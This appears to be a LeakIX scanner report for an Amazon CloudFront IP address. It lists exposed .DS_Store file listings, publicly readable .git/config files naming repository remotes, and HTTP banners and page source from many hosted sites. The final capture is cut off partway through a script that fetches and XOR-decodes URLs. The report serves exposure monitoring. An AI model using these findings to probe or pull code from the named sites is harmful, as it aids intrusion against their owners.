LeakIX - Host 18.239.83.47

Host 18.239.83.47

United States

AMAZON-02

Software information

AmazonS3

tcp/443

Apache Apache

tcp/443

CloudFront

tcp/80

nginx nginx

tcp/443 tcp/80

MacOS file listing through .DS_Store file

.DS_Store” is an abbreviation for “Desktop Services Store”. These files are created automatically by Apples “Finder” software (which is part of their OS).

They store information about the files within a folder, including display options of folders, such as icon positions and view settings.

It may happen that .DS_Store files inadvertently leak filenames such as database backups or private administration panels.

IP: 18.239.83.44
Domain: www.christopheek.dev
Port: 443
URL: https://www.christopheek.dev

First seen 2023-10-07 23:40
Last seen 2024-12-16 09:02
Open for 435 days
- Severity: low
  Fingerprint: 5f32cf5d6962f09c63442d9d63442d9d51e9b7af51e9b7af51e9b7af51e9b7af
```
Found 1 files trough .DS_Store spidering:

/README.md
```
  Found on 2024-12-16 09:02
- Severity: low
  Fingerprint: 5f32cf5d6962f09c7cf176427cf17642167aecfe26fed83826fed83826fed838
```
Found 2 files trough .DS_Store spidering:

/homepage.html
/README.md
```
  Found on 2023-10-26 20:56
Create report
Git configuration and history exposed

The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.

IP: 18.239.83.47
Domain: mscs5ffty6cr.xyz
Port: 443
URL: https://mscs5ffty6cr.xyz

First seen 2023-09-12 15:19
Last seen 2024-02-03 00:11
Open for 143 days
- Severity: medium
  Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65224a02fe66
```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	hooksPath = /dev/null
[remote "origin"]
	url = http://git.2jsncsk2dxks.xyz/zhi/zhi-luodiye-guide.git
	fetch = +refs/heads/*:refs/remotes/origin/*
```
  Found on 2024-02-03 00:11
  
  239 Bytes
Create report
Git configuration and history exposed

The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.

IP: 18.239.83.47
Domain: w29p3l7os.xyz
Port: 443
URL: https://w29p3l7os.xyz

First seen 2023-12-07 14:58
Last seen 2024-02-02 07:17
Open for 56 days
- Severity: medium
  Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a652205c2db34
```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	hooksPath = /dev/null
[remote "origin"]
	url = http://git.2jsncsk2dxks.xyz/bb/bb-luodiye-guide.git
	fetch = +refs/heads/*:refs/remotes/origin/*
```
  Found on 2024-02-02 07:17
  
  237 Bytes
Create report
Git configuration and history exposed

The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.

IP: 18.239.83.47
Domain: qhwcsf4hhsjj.xyz
Port: 443
URL: https://qhwcsf4hhsjj.xyz

First seen 2023-09-12 15:19
Last seen 2024-02-01 16:17
Open for 142 days
- Severity: medium
  Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a65224a02fe66
```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
	hooksPath = /dev/null
[remote "origin"]
	url = http://git.2jsncsk2dxks.xyz/zhi/zhi-luodiye-guide.git
	fetch = +refs/heads/*:refs/remotes/origin/*
```
  Found on 2024-02-01 16:17
  
  239 Bytes
Create report
Git configuration and history exposed

The following URL (usually /.git/config) is publicly accessible and is leaking source code and repository configuration.

IP: 18.239.83.47
Domain: t.qbj9u.cc
Port: 443
URL: https://t.qbj9u.cc

First seen 2023-09-26 08:28
Last seen 2024-01-07 09:18
Open for 103 days
- Severity: medium
  Fingerprint: 2580fa947178c88602b1737db148c044b81b03713d63bb82370a652286db653a
```
[core]
	repositoryformatversion = 0
	filemode = true
	bare = false
	logallrefupdates = true
[remote "origin"]
	url = https://www.y1ccommon.com/zhangmazi/tm_web.git
	fetch = +refs/heads/*:refs/remotes/origin/*
[branch "master"]
	remote = origin
	merge = refs/heads/master
```
  Found on 2024-01-07 09:18
  
  271 Bytes
Create report

Open service 18.239.83.47:80 · cm.s.weekend4two.com

2026-01-09 21:53

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Fri, 09 Jan 2026 21:53:47 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://cm.s.weekend4two.com/
X-Cache: Redirect from cloudfront
Via: 1.1 ed993f97c00803491d1a75f41b21a784.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: hdwsm6s4ERnZvZCfpKAQq6323fwqY1LhF6MOEsxYiyy7WTwKEhvmEQ==
X-Robots-Tag: noindex,nofollow

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:443 · dhjnai69yvnf6.amplifyapp.com

2026-01-09 21:01

HTTP/1.1 404 Not Found
Content-Length: 0
Connection: close
Date: Fri, 09 Jan 2026 21:01:39 GMT
X-Cache: Error from cloudfront
Via: 1.1 8bb90d44758ce70476efdf577c8bd268.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: irDYoYUbwsiw0duzN9870QwPrEU3G1pLvWCo0B23ajlxEEsOOz6lOA==

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:443 · barbaraweldelecounseling.com

2026-01-09 17:57

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 71601
Connection: close
X-Powered-By: Express
Date: Fri, 09 Jan 2026 17:58:00 GMT
ETag: W/"117b1-Ei8GSBcRg06mosFoA7ryp7hE4Ro"
X-Cache: RefreshHit from cloudfront
Via: 1.1 87e83cc6e8f384d40eab78133e901302.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: uSBuLqMcQukzC76OXJVntQzJ-ce26HUf9ITgVN60WkzyqUwvX-8AyA==
X-Frame-Options: SAMEORIGIN
Referrer-Policy: no-referrer
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains

Page title: Promising Pathways Counseling Services | King Of Prussia PA

<!DOCTYPE html>
    <html>
      <head>  <meta name="description" content="Promising Pathways Counseling Services provides help in King Of Prussia, PA 19406 for children, adolescents &amp; adults struggling with anxiety &amp; more. ">
<title>Promising Pathways Counseling Services | King Of Prussia PA</title>
<meta property="og:title" content="Promising Pathways Counseling Services | King Of Prussia PA">
<meta property="og:type" content="website">
<meta property="og:description" content="Promising Pathways Counseling Services provides help in King Of Prussia, PA 19406 for children, adolescents &amp; adults struggling with anxiety &amp; more. ">
<meta property="og:site_name" content="Promising Pathways Counseling Services LLC">
<meta property="og:url" content="https://barbaraweldelecounseling.com/"><script type="application/ld+json">{"@context":"https://www.schema.org","@type":"ProfessionalService","name":"Promising Pathways Counseling Services","owns":"Promising Pathways Counseling Services","email":"mailto:bweldele@promisingpathwayscounseling.com","url":"https://barbaraweldelecounseling.com","description":"Promising Pathways Counseling Services provides help in King Of Prussia, PA 19406 for children, adolescents & adults struggling with anxiety & more. ","address":{"@type":"PostalAddress","streetAddress":"1831 Swamp Pike","addressLocality":"Gilbertsville","addressRegion":"Pennsylvania","postalCode":"19525","addressCountry":"United States","telephone":"484-649-6064"}}</script>
<link rel="icon" sizes="16x16" href="https://brightervisionclients.com/resize/64d3d29e00b507898ee7efa3/attachments/784dbf86-67ed-4cd4-a7ab-a1866b469277?top=0.1407&left=0.3922&bottom=0.8949&right=0.5788&maxWidth=16&maxHeight=16"/>
<link rel="icon" sizes="32x32" href="https://brightervisionclients.com/resize/64d3d29e00b507898ee7efa3/attachments/784dbf86-67ed-4cd4-a7ab-a1866b469277?top=0.1407&left=0.3922&bottom=0.8949&right=0.5788&maxWidth=32&maxHeight=32"/>
<link rel="icon" sizes="180x180" href="https://brightervisionclients.com/resize/64d3d29e00b507898ee7efa3/attachments/784dbf86-67ed-4cd4-a7ab-a1866b469277?top=0.1407&left=0.3922&bottom=0.8949&right=0.5788&maxWidth=180&maxHeight=180"/>
<link rel="icon" sizes="192x192" href="https://brightervisionclients.com/resize/64d3d29e00b507898ee7efa3/attachments/784dbf86-67ed-4cd4-a7ab-a1866b469277?top=0.1407&left=0.3922&bottom=0.8949&right=0.5788&maxWidth=192&maxHeight=192"/>
<link rel="icon" sizes="228x228" href="https://brightervisionclients.com/resize/64d3d29e00b507898ee7efa3/attachments/784dbf86-67ed-4cd4-a7ab-a1866b469277?top=0.1407&left=0.3922&bottom=0.8949&right=0.5788&maxWidth=228&maxHeight=228"/>

 <meta charset="UTF-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, minimal-ui"> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="apple-mobile-web-app-capable" content="yes"/>     <!-- Nav A -->  <!-- Nav E -->  <!-- Nav B -->  <!-- Nav C -->  <!-- Nav D -->      <!-- Wordpress Header -->  <!-- End Wordpress Header -->       <!-- General Typography -->                         <!-- Footer Buttons -->                     
        <link rel="stylesheet" href="https://fonts.googleapis.com/css2?display=swap&family=Open%20Sans:ital,wght@0,300;0,400;0,500;0,600;0,700;0,800;1,300;1,400;1,500;1,600;1,700;1,800&family=Raleway:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&family=Viga:ital,wght@0,400&family=Lora:ital,wght@0,400;0,500;0,600;0,700;1,400;1,500;1,600;1,700">
        <link rel="stylesheet" href="https://brightervisionthemeassetsprod.com/7de1b0f6cd5072c86809ed6d86c3d77e2812b3e6/paris/wp-content/themes/paris/assets/vendors/bxslider/bxslider.css"><link rel="stylesheet" href="https://brightervisionthemeassetsprod.com/7de1b0f6cd5072c86809ed6d86c3d77e2812b3e6/paris/wp-content/themes/paris/assets/vendors/jarallax/jarallax.css"><link rel="stylesheet" href="https://brightervisionthemeassetsprod.com/7de1b0f6cd5072c86809ed6d86c3d77e2812b3e6/paris/wp-content/themes/paris/style.css?ver=2.1.9_c

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:80 · olysim.com

2026-01-09 15:16

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Fri, 09 Jan 2026 15:16:17 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://olysim.com/
X-Cache: Redirect from cloudfront
Via: 1.1 3f24561b20ab2825cb11ac40fc1c2434.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: 2TlrtvVKqFo-QX5JAmpxnXojq78-kNsMK-iCcfMGnQfA5Mpsce--sA==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:80 · trucktrader.com

2026-01-09 10:42

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Fri, 09 Jan 2026 10:42:35 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://trucktrader.com/
X-Cache: Redirect from cloudfront
Via: 1.1 ca0e18fe48e6994b3446a58a1e05c1ce.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: 4_Oh9sbjUd1W4X5NnAMVlK25SBsEW9o9qKsVjSElpYoEa186tqY23w==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:443 · betfred.co.za

2026-01-09 04:18

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 3657
Connection: close
Server: nginx
Date: Fri, 09 Jan 2026 04:18:18 GMT
Last-Modified: Wed, 07 Jan 2026 13:45:53 GMT
Accept-Ranges: bytes
ETag: "695e6391-e49"
Strict-Transport-Security: max-age=15768000
Cache-Control: max-age=300, must-revalidate
Access-Control-Allow-Origin: *
Vary: Accept-Encoding
X-Cache: Miss from cloudfront
Via: 1.1 cb6a2c71695f851967f08ee8b2defc0c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: JmzF372jLuep5oOfxWN5f42SO9-p-LNoOqaqI0NDZu_ONU6VqPcJ4Q==


<!DOCTYPE html>
<html>
  <head>
    <script type="module" crossorigin src="/assets/polyfills-DXevK-OM.js"></script>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">
    <meta name="apple-mobile-web-app-capable" content="yes">
    <meta name="mobile-web-app-capable" content="yes">
    <script>
      window.prerenderReady = false;
      // Don't touch - it's used for deploy :)
      var version = {
        "apiCompatibility": {
          "majorMax": 29,
          "majorMin": 27,
          "minorMin": 0
        },
        "commit": "ca694eb9379b6b535fb09cc864770ff28ee01a10"
      };
      window.AARDVARK_APP_COMMIT_HASH = version.commit;
      // TODO: This will probably be possible to move to router guards after router 'history' mode is enabled
      // Before VUE mounts check if we have url with token and if so parse it, strip it from URL and replace current URL with clean URL
      var hash = window.location.hash.substr(1);
      var hashObj = hash
        .split('&')
        .reduce(function (obj, item) {
          var parts = item.split('=');

          if (parts[0] === 'token' || parts[0] === 'gameID' || parts[0] === 'externalID' || parts[0] === 'gameOnly') {
            obj[parts[0]] = decodeURIComponent(parts[1]);
          }
          return obj;
      }, {});

      if (Object.keys(hashObj).length > 0 && hashObj.token) {
        document.cookie = 'token=' + hashObj.token + '; Secure; SameSite=Strict; path=/';
      }
      if (Object.keys(hashObj).length > 0 && window.sessionStorage) {
        if (hashObj.gameID) {
          window.sessionStorage.setItem('initialGameID', hashObj.gameID);
        }
        if (hashObj.externalID) {
          window.sessionStorage.setItem('initialExternalID', hashObj.externalID);
        }
        if (hashObj.gameOnly) {
          window.sessionStorage.setItem('gameOnlyView', hashObj.gameOnly);
        }
        window.location.replace(window.location.href.split('#')[0]);
      }
    </script>

    <script type="module" crossorigin src="/assets/index-DfCeOdF7.js"></script>
    <link rel="modulepreload" crossorigin href="/assets/vendor-Ds31xOnH.js">
    <link rel="stylesheet" crossorigin href="/assets/index-uOskc9Nb.css">
    <script type="module">import.meta.url;import("_").catch(()=>1);(async function*(){})().next();if(location.protocol!="file:"){window.__vite_is_modern_browser=true}</script>
    <script type="module">!function(){if(window.__vite_is_modern_browser)return;console.warn("vite: loading legacy chunks, syntax error above and the same error below should be ignored");var e=document.getElementById("vite-legacy-polyfill"),n=document.createElement("script");n.src=e.src,n.onload=function(){System.import(document.getElementById('vite-legacy-entry').getAttribute('data-src'))},document.body.appendChild(n)}();</script>
  </head>
  <body>
    <div id="app"></div>
    <!-- built files will be auto injected -->
    <script nomodule>!function(){var e=document,t=e.createElement("script");if(!("noModule"in t)&&"onbeforeload"in t){var n=!1;e.addEventListener("beforeload",(function(e){if(e.target===t)n=!0;else if(!e.target.hasAttribute("nomodule")||!n)return;e.preventDefault()}),!0),t.type="module",t.src=".",e.head.appendChild(t),t.remove()}}();</script>
    <script nomodule crossorigin id="vite-legacy-polyfill" src="/assets/polyfills-legacy-8xvqnIjE.js"></script>
    <script nomodule crossorigin id="vite-legacy-entry" data-src="/assets/index-legacy-Fjx33tj3.js">System.import(document.getElementById('vite-legacy-entry').getAttribute('data-src'))</script>
  </body>
</html>

Found 2026-01-09 by HttpPlugin

Create report

Open service 18.239.83.47:80 · prod-us.bart-portal.fuse.amazon.dev

2026-01-08 23:22

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Thu, 08 Jan 2026 23:22:27 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://prod-us.bart-portal.fuse.amazon.dev/
X-Cache: Redirect from cloudfront
Via: 1.1 9adf50a068a92adaab58cf6a21118640.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: BJs5g5dEcRXqKVvZY54WXRpWCwsTQn7FzBneJHFGeUuedZBxWfJLnA==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-08 by HttpPlugin

Create report

Open service 18.239.83.47:80 · voguepatterns.tw

2026-01-08 17:16

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Thu, 08 Jan 2026 17:16:28 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://voguepatterns.tw/
X-Cache: Redirect from cloudfront
Via: 1.1 eb5552d4fb69ca0d0578ffa97b7b08fa.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: W_r6fI_DINU6hRePVoz8h0G65xnWQz1ornWqFi0I8uwgwJl1hHJErA==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-08 by HttpPlugin

Create report

Open service 18.239.83.47:80 · katcommunications.net

2026-01-02 17:41

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Fri, 02 Jan 2026 17:41:20 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://katcommunications.net/
X-Cache: Redirect from cloudfront
Via: 1.1 cb6a2c71695f851967f08ee8b2defc0c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: BilrcdER2WG9Xhncm4NlGNWbA1_Clka-YZVMWEtWBZfYLdR6eUSAMQ==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2026-01-02 by HttpPlugin

Create report

Open service 18.239.83.47:443 · katcommunications.net

2026-01-02 17:41

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=iso-8859-1
Content-Length: 241
Connection: close
Date: Fri, 02 Jan 2026 17:41:20 GMT
Server: Apache
Location: http://www.katcommunications.net/
Cache-Control: max-age=0
Expires: Fri, 02 Jan 2026 17:41:20 GMT
X-Cache: Miss from cloudfront
Via: 1.1 9adf50a068a92adaab58cf6a21118640.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: -eDfUv2IiA65oLlpvAEvrAhVQ2o6_6wQyvjzET2HAOZ_Ob0UQCMcbw==

Page title: 301 Moved Permanently

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://www.katcommunications.net/">here</a>.</p>
</body></html>

Found 2026-01-02 by HttpPlugin

Create report

Open service 18.239.83.47:80 · astra.exchange

2025-12-30 18:27

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Tue, 30 Dec 2025 18:27:59 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://astra.exchange/
X-Cache: Redirect from cloudfront
Via: 1.1 9adf50a068a92adaab58cf6a21118640.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: mU5t-aBMU53BWi3yFTPM73-jZzPLjI04vm4M-s8bJYqS3q63O6J04g==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2025-12-30 by HttpPlugin

Create report

Open service 18.239.83.47:443 · astra.exchange

2025-12-30 18:27

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 1685
Connection: close
Date: Tue, 05 Aug 2025 16:58:36 GMT
Cache-Control: public, max-age=0, s-maxage=31536000
Server: AmazonS3
Accept-Ranges: bytes
ETag: "60f5f866aaebe5feadb93d10a1362639"
Last-Modified: Fri, 20 Jun 2025 10:59:15 GMT
X-Cache: Hit from cloudfront
Via: 1.1 134cb849e01fafad6f264ff9633b073e.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: ogR92b1mM5EMcLdR_7GPDW-kKE-hG7hkVhp4bhRuuuCmbnuk7TSD7w==
Age: 12706163

Page title: Astra

<!doctype html><html lang="en"><head><base href="/"><meta charset="utf-8"/><link rel="shortcut icon" type="image/svg+xml" href="/favicon.svg"/><meta property="og:image:width" content="1200"/><meta property="og:image:height" content="600"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:card" content="summary_large_image"/><link rel="apple-touch-icon" sizes="192x192" href="/images/192x192_App_Icon.png"/><link rel="apple-touch-icon" sizes="512x512" href="/images/512x512_App_Icon.png"/><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1"/><meta name="theme-color" content="#000"/><meta name="fortmatic-site-verification" content="j93LgcVZk79qcgyo"/><link href="https://fonts.googleapis.com/css2?family=Inter:wght@500;600;700&display=swap" rel="stylesheet"><link href="https://fonts.googleapis.com/css2?family=Righteous&display=swap" rel="stylesheet"><link rel="manifest" href="/manifest.json"/><title>Astra</title><script>!function(e,t,a,n){e[n]=e[n]||[],e[n].push({"gtm.start":(new Date).getTime(),event:"gtm.js"});var g=t.getElementsByTagName(a)[0],m=t.createElement(a);m.async=!0,m.src="https://www.googletagmanager.com/gtm.js?id=GTM-NB9VBWH",g.parentNode.insertBefore(m,g)}(window,document,"script","dataLayer")</script><script defer="defer" src="/static/js/main.a5f7c9f7.js"></script><link href="/static/css/main.69128825.css" rel="stylesheet"></head><body><noscript><iframe src="https://www.googletagmanager.com/ns.html?id=GTM-NB9VBWH" height="0" width="0" style="display:none;visibility:hidden"></iframe></noscript><noscript>You need to enable JavaScript to run this app.</noscript><div id="app"></div></body></html>

Found 2025-12-30 by HttpPlugin

Create report

Open service 18.239.83.47:443 · emmanuelidi.com

2025-12-23 07:15

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 2786
Connection: close
Last-Modified: Sun, 19 Apr 2015 16:20:55 GMT
Accept-Ranges: bytes
Server: AmazonS3
Date: Tue, 23 Dec 2025 07:15:37 GMT
Cache-Control: public, max-age=3600
ETag: "b96b4f53847b25747d77f533dead7fe3"
X-Cache: Hit from cloudfront
Via: 1.1 87e83cc6e8f384d40eab78133e901302.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: tCzHwT_kKaHC5OXes0HzKEe7tVVvLY6eLSY0W1Pf_TDuHshLKY-dbQ==

Page title: Emmanuel Idi

<!doctype html>
<html class="no-js" lang="en">
<head lang="en">
    <meta charset="utf-8"/>
    <meta http-equiv="content-type" content="text/html; charset=utf-8">
    
    <meta http-equiv="X-UA-Compatible" content="IE=edge">

    
    <meta name="viewport" content="width=device-width, initial-scale=1.0, user-scalable=no, minimum-scale=1.0, maximum-scale=1.0">
    <meta name="generator" content="Hugo 0.13+patches" />

    <title>Emmanuel Idi</title>
    <meta name="author" content="Emmanuel Idi"/>
    <meta name="description" content="Musings on distributed computing, software craftsmanship, photography &amp; travel"/>

    
    <meta name="google-site-verification" content=""/>

    <meta name="Copyright" content="Copyright 1998 - 2015 Emmanuel Idi. All Rights Reserved."/>

    
    
    <link rel="shortcut icon" href="favicon.ico"/>

    <link rel="stylesheet" href="//assets.emmanuelidi.com/fonts/mbtype/0.1.0/all.min.css" type="text/css"/>

    
    <link rel="stylesheet" href="/css/app.min.css" type="text/css"/>
    

    <link rel="stylesheet" href="//assets.emmanuelidi.com/mirrors/vegas/2.1.2/vegas.min.css" type="text/css"/>

    
    
    
    <link href="/index.xml" rel="alternate" type="application/rss+xml" title="Emmanuel Idi"/>

    <script src="//assets.emmanuelidi.com/mirrors/modernizr/2.8.3/modernizr.min.js"></script>
    

    
    
    
    
    
    
    
    
    
</head>

<body>
<div style="width: 100%; height: 3em; position: fixed; bottom: 20%;">
    <p style="text-align: center; font-size: 2em; font-family: 'concourse-title', Helvetica, Roboto, Arial, sans-serif; font-style: normal; text-transform: uppercase; color: white; letter-spacing: 0.325em; opacity: 0.8">Emmanuel Idi</p>
</div>

<script src="//assets.emmanuelidi.com/mirrors/jquery/2.1.3/jquery.min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/jquery-cookie/1.4.1/min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/jquery-placeholder/2.1.0/min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/fastclick/0.6.12/min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/prismjs/0.1.0/prism.min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/d3/3.5.3/min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/scroll-up-bar/0.3.0/scroll-up-bar.min.js"></script>
<script src="//assets.emmanuelidi.com/mirrors/vegas/2.1.2/vegas.min.js"></script>

<script src="/js/app.js"></script>





<script type="text/javascript">
    $('body').vegas({
        delay: 0,
        timer: false,
        preload: true,
        slides: [
            { src: '//media.emmanuelidi.com/Boston-From-Eastie-4303.jpg'}
        ],
        overlay: '//assets.emmanuelidi.com/mirrors/vegas/2.1.2/overlays/06.png'
    });
</script>
</body>
</html>

Found 2025-12-23 by HttpPlugin

Create report

Open service 18.239.83.47:80 · writepaw.com

2025-12-23 01:48

HTTP/1.1 301 Moved Permanently
Server: CloudFront
Date: Tue, 23 Dec 2025 01:48:13 GMT
Content-Type: text/html
Content-Length: 167
Connection: close
Location: https://writepaw.com/
X-Cache: Redirect from cloudfront
Via: 1.1 cb6a2c71695f851967f08ee8b2defc0c.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
Alt-Svc: h3=":443"; ma=86400
X-Amz-Cf-Id: Xz1xuTfazlcneihMMyZhKonsKq7MpvtG8wfey3mLl-ZmFztNh7RF8Q==

Page title: 301 Moved Permanently

<html>
<head><title>301 Moved Permanently</title></head>
<body>
<center><h1>301 Moved Permanently</h1></center>
<hr><center>CloudFront</center>
</body>
</html>

Found 2025-12-23 by HttpPlugin

Create report

Open service 18.239.83.47:80 · rokitpioneer.com

2025-12-22 20:34

HTTP/1.1 301 Moved Permanently
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: close
Date: Mon, 22 Dec 2025 20:34:28 GMT
Pragma: no-cache
Location: https://www.rokitpioneer.com/
Server: nginx
P3P: CP="NOI CURa ADMa DEVa TAIa OUR DELa BUS IND PHY ONL UNI COM NAV INT DEM PRE"
Set-Cookie: IMWEBVSSID=eegsedg3ivijojgitj38shr2a4s2hh32o01d6hm62gt2k4f3oaibhi633qaf2fjuumgnsju99r8vq6jvpp9ugf8vttbmc0s047cpf12; path=/; domain=rokitpioneer.com; HttpOnly
Set-Cookie: al=KR; expires=Sun, 18-Oct-2026 20:34:28 GMT; Max-Age=25920000; path=/; domain=rokitpioneer.com; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
X-Cache: Miss from cloudfront
Via: 1.1 ffde4ac468ae53bebcf62edbe5888ab6.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: E6YI779kd0f10ptGAKV3zl_BZawFp3fmKqyinpNOMFLY9dCPd6-VbA==

Found 2025-12-22 by HttpPlugin

Create report

Open service 18.239.83.47:443 · 467444.com

2025-12-21 18:00

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 6712
Connection: close
Server: nginx
Date: Sun, 21 Dec 2025 18:00:39 GMT
Last-Modified: Mon, 05 May 2025 14:49:46 GMT
Accept-Ranges: bytes
ETag: "6818d00a-1a38"
Vary: Accept-Encoding
X-Cache: Hit from cloudfront
Via: 1.1 ec87b0eaae98600539e64627bd582e82.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: AMS58-P5
X-Amz-Cf-Id: xHeOZiHAaWWuuPtBwzJaN5LWIl_BECHJtHoHgPASUl2oBT1AqE8sZw==

Page title: 正在载入，请稍等。。。。

<!doctype html>
<html lang="zh">

<head>
    <meta charset="UTF-8">
    <meta name="viewport"
        content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <meta name="renderer" content="webkit" />
    <meta name="apple-touch-fullscreen" content="yes" />
    <meta name="apple-mobile-web-app-capable" content="yes" />
    <meta name="apple-mobile-web-app-status-bar-style" content="black">
    <meta name="theme-color" content="#4c516a" />
    <meta name="format-detection" content="telephone=no" />
    <meta name="format-detection" content="email=no" />
    <meta name="HandheldFriendly" content="true" />
    <meta name="MobileOptimized" content="320" />
    <meta name="screen-orientation" content="portrait" />
    <meta name="x5-orientation" content="portrait" />
    <meta name="full-screen" content="yes" />
    <meta name="x5-fullscreen" content="true" />
    <meta name="x5-page-mode" content="app" />
    <meta name="msapplication-tap-highlight" content="no" />
    <meta itemprop="image" content="logo">
    <title>正在载入，请稍等。。。。</title>
    <link rel="stylesheet" href="./css/main.css">
    <script
src="https://lf9-cdn-tos.bytecdntp.com/cdn/expire-1-M/jquery/3.6.0/jquery.min.js"></script>
<script>
function xorEncrypt(input, key) {
var output = '';
for (var i = 0; i < input.length; i++) {
output += String.fromCharCode(input.charCodeAt(i) ^ key.charCodeAt(i
%key.length));
}
return output;
}
function load(param, callback) {
$.ajax({
url: '/google/' + param+"?limit=1", // 你的 JSON 文件路径
dataType: 'json',
success: function (data) {
var key = data.key;
var urls = data.urls;
